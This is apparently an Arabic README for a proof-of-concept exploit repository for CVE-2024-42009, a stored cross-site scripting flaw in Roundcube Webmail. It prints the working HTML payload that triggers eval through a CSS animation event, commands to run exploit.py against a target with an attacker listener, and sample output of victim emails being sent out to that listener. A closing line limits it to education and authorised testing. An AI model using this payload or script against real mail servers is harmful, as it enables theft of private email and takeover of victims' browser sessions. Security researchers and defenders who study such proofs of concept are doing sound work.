
إثبات المفهوم CVE-2024-42009
يحتوي هذا المستودع على إثبات مفهوم (PoC) لاستغلال CVE-2024-42009، وهي ثغرة تخزين للبرمجة النصية عبر المواقع (XSS) في Roundcube Webmail الإصدار 1.6.7 وعدة إصدارات أخرى. يوضح الاستغلال كيف يمكن للمهاجم حقن JavaScript خبيث في رسالة والاستفادة من مشكلة إزالة التعقيم (desanitization) عند تحليل HTML داخل الرسالة، والتي يمكن استخدامها بعد ذلك لسحب محتوى البريد الإلكتروني من صندوق وارد الضحية في هذا المثال أو حتى السيطرة على متصفح الضحية.
تسمح ثغرة البرمجة النصية عبر المواقع (XSS) في Roundcube حتى الإصدار 1.5.7 ومن 1.6.x حتى 1.6.7 لمهاجم عن بُعد بسرقة وإرسال رسائل البريد الإلكتروني الخاصة بالضحية عبر رسالة بريد إلكتروني مصممة بعناية تستغل مشكلة إزالة التعقيم (Desanitization) في الدالة message_body() في program/actions/mail/show.php.
يستخدم الاستغلال مشغل حركة CSS لتنفيذ XSS:
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=eval(atob('BASE64_PAYLOAD')) foo=bar>
يتم تحليل وسم body كعنصر div، ومن ثم نحتاج إلى التكيف مع ذلك، ولهذا السبب نستخدم السمة onanimationstart لاستدعاء دالة eval وتنفيذ استدعاءات JavaScript معقدة من خلالها. لقراءة المزيد حول كيفية عمل الاستغلال وأين توجد الثغرات في Roundcube، اقرأ هذه المقالة.
قم بتثبيت حزم Python المطلوبة:
python3 -m venv venv
python3 -m pip install -r requirements
python3 exploit.py -u <TARGET_URL> -r <RECIPIENT_EMAIL> -l <LISTENER_HOST> -p <LISTENER_PORT>
http://email.company.local/contact)python3 exploit.py -u http://webmail.target.com/contact -r [email protected] -l 192.168.1.100 -p 4444
[*] Crafting payload for http://webmail.target.com/contact with recipient [email protected]
[*] Sending payload to http://webmail.target.com/contact with recipient [email protected]
[*] Starting HTTP server on port 4444
[+] HTTP server listening on port 4444
[*] Waiting for emails... (Press Ctrl+C to stop manually)
[+] Received 3 emails!
------------------------------------------------------------
📧 EMAIL UID: 1
------------------------------------------------------------
From: [email protected]
Subject: Quarterly Report
Message:
Please find attached the quarterly financial report...
------------------------------------------------------------
[+] Email exfiltration complete! Shutting down server...
[+] Server stopped successfully!
⚠️ مهم: هذا إثبات المفهوم مقدم لأغراض تعليمية واختبارات مصرح بها فقط. استخدمه بمسؤولية، وهذا الحساب غير مسؤول عن أي ضرر يسببه الآخرون.